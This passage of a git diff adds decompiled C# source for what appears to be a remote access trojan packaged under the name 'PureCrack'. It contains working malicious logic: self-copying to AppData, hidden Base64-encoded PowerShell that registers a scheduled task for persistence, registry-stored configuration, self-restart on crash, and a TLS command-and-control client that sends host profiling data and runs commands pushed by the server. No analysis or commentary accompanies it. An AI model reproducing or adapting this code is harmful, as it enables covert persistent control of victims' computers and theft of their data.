Token: 0x0400002A RID: 42 + internal static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.Class7.cs b/decompiled/PureCrack.assets.inner.Class7.cs new file mode 100644 index 0000000..35d7277 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class7.cs @@ -0,0 +1,74 @@ +using System; +using Microsoft.Win32; + +// Token: 0x02000011 RID: 17 +internal static class Class7 +{ + // Token: 0x0600004E RID: 78 RVA: 0x00008968 File Offset: 0x00006B68 + internal static byte[] smethod_0(string string_0) + { + byte[] result; + try + { + using (RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\" + Class4.smethod_0(), RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + if (registryKey == null) + { + result = null; + } + else + { + byte[] array = (byte[])registryKey.GetValue(string_0); + if (array == null) + { + result = null; + } + else + { + result = array; + } + } + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + goto IL_53; + } + return result; + IL_53: + return null; + } + + // Token: 0x0600004F RID: 79 RVA: 0x000089E8 File Offset: 0x00006BE8 + internal static void smethod_1(string string_0, object object_1) + { + try + { + using (RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\" + Class4.smethod_0(), RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + registryKey.SetValue(string_0, object_1, RegistryValueKind.Binary); + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + } + } + + // Token: 0x06000050 RID: 80 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class7() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000051 RID: 81 RVA: 0x00002424 File Offset: 0x00000624 + internal static bool smethod_2() + { + return Class7.object_0 == null; + } + + // Token: 0x0400002B RID: 43 + internal static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.Class8.cs b/decompiled/PureCrack.assets.inner.Class8.cs new file mode 100644 index 0000000..9115b36 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class8.cs @@ -0,0 +1,134 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Text; + +// Token: 0x02000012 RID: 18 +internal class Class8 +{ + // Token: 0x06000052 RID: 82 RVA: 0x00008A50 File Offset: 0x00006C50 + internal static void pwfVayjWiK() + { + try + { + string text = Class4.h(); + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + if (!text.ToLower().Contains(folderPath.ToLower())) + { + string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Path.GetFileName(text)); + if (!(text.ToLower() == text2.ToLower())) + { + try + { + if (!Class9.gclass3_0.String_2.smethod_0() && !Class9.gclass3_0.String_3.smethod_0()) + { + text2 = Path.Combine(Environment.GetEnvironmentVariable(Class9.gclass3_0.String_3), Class9.gclass3_0.String_2); + } + if (text.ToLower() == text2.ToLower()) + { + return; + } + } + catch + { + } + Class8.smethod_0(); + } + } + } + catch + { + } + } + + // Token: 0x06000053 RID: 83 RVA: 0x00008B34 File Offset: 0x00006D34 + private static void smethod_0() + { + string path = Class4.h(); + string text = Path.GetFileNameWithoutExtension(path); + string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Path.GetFileName(text)); + try + { + if (!Class9.gclass3_0.String_2.smethod_0()) + { + text = Class9.gclass3_0.String_2; + } + } + catch + { + } + try + { + if (!Class9.gclass3_0.String_3.smethod_0()) + { + text2 = Path.Combine(Environment.GetEnvironmentVariable(Class9.gclass3_0.String_3), Path.GetFileName(text)); + } + } + catch + { + } + string s = string.Concat(new string[] + { + "Register-ScheduledTask -TaskName '", + text, + "' -Action (New-ScheduledTaskAction -Execute '", + text2, + "') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -RunLevel Highest -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force" + }); + if (!Class4.smethod_4()) + { + goto IL_116; + } + IL_A7: + ProcessStartInfo startInfo = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-NoProfile -ExecutionPolicy Bypass -Enc " + Convert.ToBase64String(Encoding.Unicode.GetBytes(s)), + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }; + using (Process process = new Process + { + StartInfo = startInfo + }) + { + process.Start(); + process.WaitForExit(); + goto IL_148; + } + goto IL_116; + IL_148: + FileStream fileStream = new FileStream(text2, FileMode.OpenOrCreate, FileAccess.Write); + byte[] array = File.ReadAllBytes(path); + fileStream.Write(array, 0, array.Length); + fileStream.Flush(); + return; + IL_116: + s = string.Concat(new string[] + { + "Register-ScheduledTask -TaskName '", + text, + "' -Action (New-ScheduledTaskAction -Execute '", + text2, + "') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force" + }); + goto IL_A7; + } + + // Token: 0x06000055 RID: 85 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class8() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000056 RID: 86 RVA: 0x0000242E File Offset: 0x0000062E + internal static bool smethod_1() + { + return Class8.object_0 == null; + } + + // Token: 0x0400002C RID: 44 + private static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.Class9.cs b/decompiled/PureCrack.assets.inner.Class9.cs new file mode 100644 index 0000000..4ee14ff --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class9.cs @@ -0,0 +1,639 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Runtime.CompilerServices; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +// Token: 0x02000013 RID: 19 +internal static class Class9 +{ + // Token: 0x06000057 RID: 87 RVA: 0x00002438 File Offset: 0x00000638 + [CompilerGenerated] + internal static void smethod_0(bool bool_1) + { + Class9.bool_0 = bool_1; + } + + // Token: 0x06000058 RID: 88 RVA: 0x00002440 File Offset: 0x00000640 + [CompilerGenerated] + internal static GClass4 smethod_1() + { + return Class9.gclass4_0; + } + + // Token: 0x06000059 RID: 89 RVA: 0x00002447 File Offset: 0x00000647 + [CompilerGenerated] + internal static void smethod_2(GClass4 gclass4_1) + { + Class9.gclass4_0 = gclass4_1; + } + + // Token: 0x0600005A RID: 90 RVA: 0x0000244F File Offset: 0x0000064F + private static void smethod_3() + { + Class9.gclass3_0 = (GClass3)GClass1.smethod_1(Convert.FromBase64String("H4sIAAAAAAAACgMAAAAAAAAAAAA=")); + Class9.x509Certificate2_0 = new X509Certificate2(Convert.FromBase64String(Class9.gclass3_0.String_0)); + } + + // Token: 0x0600005B RID: 91 RVA: 0x00008CD4 File Offset: 0x00006ED4 + internal static void smethod_4() + { + try + { + Class0.SetProcessDPIAware(); + } + catch + { + } + Class9.smethod_3(); + if (!Class6.smethod_0(Class9.gclass3_0.stadrmoOn1)) + { + Environment.Exit(0); + } + try + { + if (Class9.gclass3_0.Boolean_0) + { + ThreadStart start; + if ((start = Class9.__c.threadStart_0) == null) + { + start = (Class9.__c.threadStart_0 = new ThreadStart(Class9.__c.__c_0.method_0)); + } + new Thread(start).Start(); + } + } + catch + { + } + try + { + if (Class9.gclass3_0.Boolean_1) + { + Class3.smethod_3(); + } + goto IL_306; + } + catch + { + goto IL_306; + } + goto IL_81; + IL_306: + while (Class9.bool_0) + { + byte[] array = new byte[4]; + while (Class9.bool_0) + { + try + { + Class9.a a = new Class9.a(); + int num = 4; + array = new byte[4]; + int num2 = 0; + while (num != 0) + { + int num3 = Class9.sslStream_0.Read(array, num2, num); + num2 += num3; + num -= num3; + if (num3 > 0) + { + if (num >= 0) + { + continue; + } + } + throw new Exception(); + } + num = BitConverter.ToInt32(array, 0); + if (num <= 0) + { + throw new Exception(); + } + array = new byte[num]; + num2 = 0; + while (num != 0) + { + int num3 = Class9.sslStream_0.Read(array, num2, num); + num2 += num3; + num -= num3; + if (num3 > 0) + { + if (num >= 0) + { + continue; + } + } + throw new Exception(); + } + a.field_a = GClass1.smethod_1(array); + new Thread(new ThreadStart(a.method_a)).Start(); + } + catch + { + Class9.smethod_9(); + break; + } + } + } + IL_81: + try + { + Thread.Sleep(5000); + try + { + Timer timer = Class9.timer_1; + if (timer != null) + { + timer.Dispose(); + } + Class9.int_1 = 0; + } + catch + { + } + try + { + Timer timer2 = Class9.timer_0; + if (timer2 != null) + { + timer2.Dispose(); + } + } + catch + { + } + try + { + SslStream sslStream = Class9.sslStream_0; + if (sslStream != null) + { + sslStream.Dispose(); + } + Socket socket = Class9.socket_0; + if (socket != null) + { + socket.Dispose(); + } + } + catch + { + } + if (!Class9.smethod_5()) + { + throw new Exception(); + } + Class9.sslStream_0 = new SslStream(new NetworkStream(Class9.socket_0, true), false, new RemoteCertificateValidationCallback(Class9.smethod_8)); + Class9.sslStream_0.ReadTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds; + Class9.sslStream_0.WriteTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds; + Class9.sslStream_0.AuthenticateAsClient(Class9.socket_0.RemoteEndPoint.ToString().Split(new char[] + { + ':' + })[0], null, SslProtocols.Tls, false); + Class9.smethod_0(true); + int num4 = new GClass12().method_2(20, 60); + Class9.timer_0 = new Timer(new TimerCallback(Class9.smethod_6), null, (int)TimeSpan.FromSeconds((double)num4).TotalMilliseconds, (int)TimeSpan.FromSeconds((double)num4).TotalMilliseconds); + if (Class9.gclass4_0 == null) + { + Class9.smethod_2(new GClass4 + { + String_0 = Class4.smethod_2(), + smFdyqYylo = Class4.smethod_0(), + Boolean_0 = Class4.smethod_6(), + String_3 = Class4.d(), + String_2 = Class4.smethod_3(), + QnsdsyyYrB = "4.4.1", + String_1 = Class4.smethod_5(), + Int32_2 = Class9.int_2, + String_5 = Class3.smethod_0(), + String_9 = Class3.smethod_2(), + String_7 = Class9.gclass3_0.String_1, + String_8 = Class4.h() + }); + } + Class9.gclass4_0.String_4 = ((IPEndPoint)Class9.socket_0.RemoteEndPoint).Address.ToString(); + Class9.gclass4_0.Int32_1 = ((IPEndPoint)Class9.socket_0.RemoteEndPoint).Port; + Class9.gclass4_0.Byte_0 = Class4.i(60); + Class9.gclass4_0.String_10 = Class3.d(); + Class9.h(Class9.gclass4_0); + Class9.gclass4_0.String_10 = null; + Class9.gclass4_0.Byte_0 = null; + } + catch + { + Class9.smethod_9(); + } + goto IL_306; + } + + // Token: 0x0600005C RID: 92 RVA: 0x00009198 File Offset: 0x00007398 + private static bool smethod_5() + { + List list = new List(); + List list2 = new List(); + list = Class9.gclass3_0.List_0; + list2 = Class9.gclass3_0.List_1; + try + { + GClass3 gclass = (GClass3)GClass1.smethod_1(Class7.smethod_0(Class4.smethod_0())); + if (gclass != null && gclass.List_0.Count > 0 && gclass.List_1.Count > 0) + { + list = gclass.List_0; + list2 = gclass.List_1; + } + } + catch + { + list = Class9.gclass3_0.List_0; + list2 = Class9.gclass3_0.List_1; + } + using (List.Enumerator enumerator = list.GetEnumerator()) + { + while (enumerator.MoveNext()) + { + string text = enumerator.Current; + if (!Class9.d(text)) + { + foreach (int port in list2) + { + try + { + try + { + Socket socket = Class9.socket_0; + if (socket != null) + { + socket.Dispose(); + } + } + catch + { + } + Class9.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + Class9.socket_0.ReceiveBufferSize = Class9.int_0; + Class9.socket_0.SendBufferSize = Class9.int_0; + Class9.socket_0.Connect(text, port); + if (Class9.socket_0.Connected) + { + return true; + } + } + catch + { + } + } + } + else + { + foreach (IPAddress address in Dns.GetHostAddresses(text)) + { + using (List.Enumerator enumerator2 = Class9.gclass3_0.List_1.GetEnumerator()) + { + while (enumerator2.MoveNext()) + { + int port2 = enumerator2.Current; + try + { + try + { + Socket socket2 = Class9.socket_0; + if (socket2 != null) + { + socket2.Dispose(); + } + } + catch + { + } + Class9.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + Class9.socket_0.ReceiveBufferSize = Class9.int_0; + Class9.socket_0.SendBufferSize = Class9.int_0; + Class9.socket_0.NoDelay = true; + Class9.socket_0.Connect(address, port2); + if (Class9.socket_0.Connected) + { + return true; + } + } + catch + { + } + } + goto IL_205; + } + continue; + IL_205:; + } + } + } + return false; + } + bool result; + return result; + } + + // Token: 0x0600005D RID: 93 RVA: 0x00009498 File Offset: 0x00007698 + private static bool d(string a) + { + bool result; + try + { + if (Uri.CheckHostName(a) != UriHostNameType.Dns) + { + result = false; + } + else + { + result = (Dns.GetHostAddresses(a).Length != 0); + } + } + catch + { + result = false; + } + return result; + } + + // Token: 0x0600005E RID: 94 RVA: 0x000094D8 File Offset: 0x000076D8 + private static void smethod_6(object object_2) + { + try + { + try + { + Timer timer = Class9.timer_1; + if (timer != null) + { + timer.Dispose(); + } + } + catch + { + } + Thread.Sleep(10); + try + { + Interlocked.Exchange(ref Class9.int_1, 0); + } + catch + { + } + Class9.h(new GClass8()); + Thread.Sleep(40); + try + { + Class9.timer_1 = new Timer(new TimerCallback(Class9.smethod_7), null, 1, 1); + } + catch + { + } + } + catch + { + Class9.smethod_9(); + } + } + + // Token: 0x0600005F RID: 95 RVA: 0x00009580 File Offset: 0x00007780 + private static void smethod_7(object object_2) + { + try + { + Interlocked.Increment(ref Class9.int_1); + } + catch + { + Class9.smethod_9(); + } + } + + // Token: 0x06000060 RID: 96 RVA: 0x00002483 File Offset: 0x00000683 + private static bool smethod_8(object object_2, X509Certificate x509Certificate_0, object object_3, SslPolicyErrors sslPolicyErrors_0) + { + return Class9.x509Certificate2_0.Equals(x509Certificate_0); + } + + // Token: 0x06000061 RID: 97 RVA: 0x000095B4 File Offset: 0x000077B4 + internal static void h(GClass2 a) + { + object obj = Class9.object_0; + lock (obj) + { + try + { + if (Class9.sslStream_0 == null || !Class9.sslStream_0.CanWrite) + { + throw new InvalidOperationException(); + } + byte[] array = GClass1.smethod_0(a); + int num = array.Length; + byte[] bytes = BitConverter.GetBytes(num); + Class9.socket_0.Poll(-1, SelectMode.SelectWrite); + Class9.sslStream_0.Write(bytes, 0, bytes.Length); + int num2; + for (int i = 0; i < num; i += num2) + { + num2 = Math.Min(Class9.int_0, num - i); + Class9.socket_0.Poll(-1, SelectMode.SelectWrite); + Class9.sslStream_0.Write(array, i, num2); + } + Class9.sslStream_0.Flush(); + } + catch + { + Class9.smethod_9(); + } + } + } + + // Token: 0x06000062 RID: 98 RVA: 0x00002490 File Offset: 0x00000690 + internal static void i(string a) + { + if (Class9.bool_0) + { + Class9.h(new GClass9 + { + String_0 = a + }); + return; + } + } + + // Token: 0x06000063 RID: 99 RVA: 0x00009694 File Offset: 0x00007894 + internal static void smethod_9() + { + if (Class9.bool_0) + { + Class9.smethod_0(false); + try + { + Timer timer = Class9.timer_1; + if (timer != null) + { + timer.Dispose(); + } + } + catch + { + } + try + { + Timer timer2 = Class9.timer_0; + if (timer2 != null) + { + timer2.Dispose(); + } + } + catch + { + } + try + { + Class9.socket_0.Shutdown(SocketShutdown.Both); + } + catch + { + } + try + { + SslStream sslStream = Class9.sslStream_0; + if (sslStream != null) + { + sslStream.Dispose(); + } + } + catch + { + } + try + { + Class9.sslStream_0 = null; + } + catch + { + } + try + { + Socket socket = Class9.socket_0; + if (socket != null) + { + socket.Dispose(); + } + } + catch + { + } + try + { + Class9.socket_0 = null; + } + catch + { + } + return; + } + } + + // Token: 0x06000064 RID: 100 RVA: 0x000024AB File Offset: 0x000006AB + // Note: this type is marked as 'beforefieldinit'. + static Class9() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class9.int_0 = 512000; + Class9.object_0 = new object(); + Class9.int_2 = 4; + } + + // Token: 0x06000065 RID: 101 RVA: 0x000024CC File Offset: 0x000006CC + internal static bool smethod_10() + { + return Class9.object_1 == null; + } + + // Token: 0x0400002D RID: 45 + private static readonly int int_0; + + // Token: 0x0400002E RID: 46 + [CompilerGenerated] + private static bool bool_0; + + // Token: 0x0400002F RID: 47 + [CompilerGenerated] + private static GClass4 gclass4_0; + + // Token: 0x04000030 RID: 48 + private static Socket socket_0; + + // Token: 0x04000031 RID: 49 + private static SslStream sslStream_0; + + // Token: 0x04000032 RID: 50 + private static readonly object object_0; + + // Token: 0x04000033 RID: 51 + private static Timer timer_0; + + // Token: 0x04000034 RID: 52 + internal static Timer timer_1; + + // Token: 0x04000035 RID: 53 + private static X509Certificate2 x509Certificate2_0; + + // Token: 0x04000036 RID: 54 + internal static GClass3 gclass3_0; + + // Token: 0x04000037 RID: 55 + internal static int int_1; + + // Token: 0x04000038 RID: 56 + private static readonly int int_2; + + // Token: 0x04000039 RID: 57 + private static object object_1; + + // Compiler-generated singleton class (originally <>c) + [CompilerGenerated] + private sealed class __c + { + public static readonly Class9.__c __c_0 = new Class9.__c(); + public static ThreadStart threadStart_0; + + internal void method_0() + { + Class8.pwfVayjWiK(); + } + } + + // Token: 0x02000015 RID: 21 + [CompilerGenerated] + private sealed class a + { + // Token: 0x0600006B RID: 107 RVA: 0x000024F1 File Offset: 0x000006F1 + internal void method_a() + { + new Class2().method_0(this.field_a); + } + + // Token: 0x0600006C RID: 108 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static a() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600006D RID: 109 RVA: 0x00002503 File Offset: 0x00000703 + internal static bool smethod_0() + { + return Class9.a.a_0 == null; + } + + // Token: 0x0400003D RID: 61 + public GClass2 field_a; + + // Token: 0x0400003E RID: 62 + internal static Class9.a a_0; + } +} diff --git a/decompiled/PureCrack.assets.inner.GClass0.cs b/decompiled/PureCrack.assets.inner.GClass0.cs new file mode 100644 index 0000000..ded385b --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass0.cs @@ -0,0 +1,54 @@ +using System; +using System.Diagnostics; +using System.Threading; + +// Token: 0x02000002 RID: 2 +public class GClass0 +{ + // Token: 0x06000004 RID: 4 RVA: 0x000022E3 File Offset: 0x000004E3 + public static void smethod_0() + { + AppDomain.CurrentDomain.UnhandledException += GClass0.smethod_1; + Class9.smethod_4(); + } + + // Token: 0x06000005 RID: 5 RVA: 0x00006BAC File Offset: 0x00004DAC + private static void smethod_1(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Thread.Sleep(2000); + try + { + string fileName = Process.GetCurrentProcess().MainModule.FileName; + if (!fileName.ToLower().Contains(Environment.GetFolderPath(Environment.SpecialFolder.Windows).ToLower())) + { + Process.Start(new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = fileName + }); + } + } + catch { } + Environment.Exit(0); + } + } + + // Token: 0x06000007 RID: 7 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass0() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000008 RID: 8 RVA: 0x0000230F File Offset: 0x0000050F + internal static bool smethod_2() + { + return GClass0.object_0 == null; + } + + // Token: 0x04000002 RID: 2 + private static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.GClass1.cs b/decompiled/PureCrack.assets.inner.GClass1.cs new file mode 100644 index 0000000..87fda14 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass1.cs @@ -0,0 +1,48 @@ +using System; +using System.IO; +using ProtoBuf; + +// Token: 0x02000016 RID: 22 +public static class GClass1 +{ + // Token: 0x0600006E RID: 110 RVA: 0x000097B4 File Offset: 0x000079B4 + public static byte[] smethod_0(GClass2 object_1) + { + byte[] result; + using (MemoryStream memoryStream = new MemoryStream()) + { + Serializer.Serialize(memoryStream, object_1); + memoryStream.Position = 0L; + result = GClass14.smethod_0(memoryStream.ToArray()); + } + return result; + } + + // Token: 0x0600006F RID: 111 RVA: 0x00009808 File Offset: 0x00007A08 + public static GClass2 smethod_1(byte[] byte_0) + { + GClass2 result; + using (MemoryStream memoryStream = new MemoryStream(GClass14.smethod_1(byte_0))) + { + memoryStream.Position = 0L; + result = Serializer.Deserialize(memoryStream); + } + return result; + } + + // Token: 0x06000070 RID: 112 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass1() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000071 RID: 113 RVA: 0x0000250D File Offset: 0x0000070D + internal static bool smethod_2() + { + return GClass1.object_0 == null; + } + + // Token: 0x0400003F RID: 63 + internal static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.GClass10.cs b/decompiled/PureCrack.assets.inner.GClass10.cs new file mode 100644 index 0000000..3fc9fc6 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass10.cs @@ -0,0 +1,54 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001E RID: 30 +[ProtoContract] +public class GClass10 : GClass2 +{ + // Token: 0x1700002A RID: 42 + // (get) Token: 0x060000D9 RID: 217 RVA: 0x0000283C File Offset: 0x00000A3C + // (set) Token: 0x060000DA RID: 218 RVA: 0x00002844 File Offset: 0x00000A44 + [ProtoMember(1)] + public GClass11 GClass11_0 { get; set; } + + // Token: 0x1700002B RID: 43 + // (get) Token: 0x060000DB RID: 219 RVA: 0x0000284D File Offset: 0x00000A4D + // (set) Token: 0x060000DC RID: 220 RVA: 0x00002855 File Offset: 0x00000A55 + [ProtoMember(2)] + public bool Boolean_0 { get; set; } + + // Token: 0x1700002C RID: 44 + // (get) Token: 0x060000DD RID: 221 RVA: 0x0000285E File Offset: 0x00000A5E + // (set) Token: 0x060000DE RID: 222 RVA: 0x00002866 File Offset: 0x00000A66 + [ProtoMember(3)] + public string String_0 { get; set; } + + // Token: 0x060000E0 RID: 224 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass10() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000E1 RID: 225 RVA: 0x0000286F File Offset: 0x00000A6F + internal static bool smethod_1() + { + return GClass10.object_1 == null; + } + + // Token: 0x04000070 RID: 112 + [CompilerGenerated] + private GClass11 gclass11_0; + + // Token: 0x04000071 RID: 113 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x04000072 RID: 114 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000073 RID: 115 + private static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass11.cs b/decompiled/PureCrack.assets.inner.GClass11.cs new file mode 100644 index 0000000..6ee68f8 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass11.cs @@ -0,0 +1,54 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001F RID: 31 +[ProtoContract] +public class GClass11 : GClass2 +{ + // Token: 0x1700002D RID: 45 + // (get) Token: 0x060000E2 RID: 226 RVA: 0x00002879 File Offset: 0x00000A79 + // (set) Token: 0x060000E3 RID: 227 RVA: 0x00002881 File Offset: 0x00000A81 + [ProtoMember(1)] + public string String_0 { get; set; } + + // Token: 0x1700002E RID: 46 + // (get) Token: 0x060000E4 RID: 228 RVA: 0x0000288A File Offset: 0x00000A8A + // (set) Token: 0x060000E5 RID: 229 RVA: 0x00002892 File Offset: 0x00000A92 + [ProtoMember(2)] + public byte[] Byte_0 { get; set; } + + // Token: 0x1700002F RID: 47 + // (get) Token: 0x060000E6 RID: 230 RVA: 0x0000289B File Offset: 0x00000A9B + // (set) Token: 0x060000E7 RID: 231 RVA: 0x000028A3 File Offset: 0x00000AA3 + [ProtoMember(3)] + public string String_1 { get; set; } + + // Token: 0x060000E9 RID: 233 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass11() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000EA RID: 234 RVA: 0x000028AC File Offset: 0x00000AAC + internal static bool smethod_1() + { + return GClass11.object_1 == null; + } + + // Token: 0x04000074 RID: 116 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000075 RID: 117 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x04000076 RID: 118 + [CompilerGenerated] + private string string_1; + + // Token: 0x04000077 RID: 119 + private static object object_1; +} diff --git a/decompiled/PureCrack.assets.inner.GClass12.cs b/decompiled/PureCrack.assets.inner.GClass12.cs new file mode 100644 index 0000000..5179764 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass12.cs @@ -0,0 +1,72 @@ +using System; +using System.Security.Cryptography; + +// Token: 0x02000021 RID: 33 +public class GClass12 +{ + // Token: 0x060000EE RID: 238 RVA: 0x00009854 File Offset: 0x00007A54 + private static Random smethod_0() + { + if (GClass12.random_0 == null) + { + byte[] array = new byte[4]; + GClass12.randomNumberGenerator_0.GetBytes(array); + GClass12.random_0 = new Random(BitConverter.ToInt32(array, 0)); + } + return GClass12.random_0; + } + + // Token: 0x060000EF RID: 239 RVA: 0x000028C0 File Offset: 0x00000AC0 + public int method_0() + { + return GClass12.smethod_0().Next(); + } + + // Token: 0x060000F0 RID: 240 RVA: 0x000028CC File Offset: 0x00000ACC + public int method_1(int int_0) + { + return GClass12.smethod_0().Next(int_0); + } + + // Token: 0x060000F1 RID: 241 RVA: 0x000028D9 File Offset: 0x00000AD9 + public int method_2(int int_0, int int_1) + { + return GClass12.smethod_0().Next(int_0, int_1); + } + + // Token: 0x060000F2 RID: 242 RVA: 0x000028E7 File Offset: 0x00000AE7 + public void method_3(byte[] byte_0) + { + GClass12.smethod_0().NextBytes(byte_0); + } + + // Token: 0x060000F3 RID: 243 RVA: 0x000028F4 File Offset: 0x00000AF4 + public double method_4() + { + return GClass12.smethod_0().NextDouble(); + } + + // Token: 0x060000F5 RID: 245 RVA: 0x00002900 File Offset: 0x00000B00 + // Note: this type is marked as 'beforefieldinit'. + static GClass12() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + GClass12.randomNumberGenerator_0 = RandomNumberGenerator.Create(); + } + + // Token: 0x060000F6 RID: 246 RVA: 0x00002911 File Offset: 0x00000B11 + internal static bool smethod_1() + { + return GClass12.object_0 == null; + } + + // Token: 0x04000079 RID: 121 + private static readonly RandomNumberGenerator randomNumberGenerator_0; + + // Token: 0x0400007A RID: 122 + [ThreadStatic] + private static Random random_0; + + // Token: 0x0400007B RID: 123 + private static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.GClass13.cs b/decompiled/PureCrack.assets.inner.GClass13.cs new file mode 100644 index 0000000..8e5b292 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass13.cs @@ -0,0 +1,36 @@ +using System; + +// Token: 0x02000022 RID: 34 +public static class GClass13 +{ + // Token: 0x060000F7 RID: 247 RVA: 0x0000291B File Offset: 0x00000B1B + public static bool smethod_0(this string string_0) + { + return string.IsNullOrEmpty(string_0) || string.IsNullOrWhiteSpace(string_0) || string_0.Length <= 0; + } + + // Token: 0x060000F8 RID: 248 RVA: 0x0000293D File Offset: 0x00000B3D + public static string smethod_1(this object object_1, string string_0) + { + return string.Join(string_0, new string[] + { + object_1.ToString().Trim() + }); + } + + // Token: 0x060000F9 RID: 249 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass13() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000FA RID: 250 RVA: 0x00002959 File Offset: 0x00000B59 + internal static bool smethod_2() + { + return GClass13.object_0 == null; + } + + // Token: 0x0400007C RID: 124 + internal static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.GClass14.cs b/decompiled/PureCrack.assets.inner.GClass14.cs new file mode 100644 index 0000000..5486a1c --- /dev/null +++ b/decompiled/PureCrack.assets.inner.GClass14.cs @@ -0,0 +1,57 @@ +using System; +using System.IO; +using System.IO.Compression; + +// Token: 0x02000024 RID: 36 +public static class GClass14 +{ + // Token: 0x060000FB RID: 251 RVA: 0x00009890 File Offset: 0x00007A90 + public static byte[] smethod_0(byte[] byte_0) + { + byte[] result; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress)) + { + gzipStream.Write(byte_0, 0, byte_0.Length); + gzipStream.Close(); + result = memoryStream.ToArray(); + } + } + return result; + } + + // Token: 0x060000FC RID: 252 RVA: 0x000098F8 File Offset: 0x00007AF8 + public static byte[] smethod_1(byte[] byte_0) + { + byte[] result; + using (MemoryStream memoryStream = new MemoryStream(byte_0)) + { + using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) + { + using (MemoryStream memoryStream2 = new MemoryStream()) + { + gzipStream.CopyTo(memoryStream2); + result = memoryStream2.ToArray(); + } + } + } + return result; + } + + // Token: 0x060000FD RID: 253 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass14() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000FE RID: 254 RVA: 0x00002963 File Offset: 0x00000B63 + internal static bool smethod_2() + { + return GClass14.object_0 == null; + } + + // Token: 0x040000A6 RID: 166 + internal static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.GClass15.cs b/decompiled/PureCrack.assets.inner.GClass15.cs new file mode 100644 index 0000000..c592e79 --- /dev/null +++ 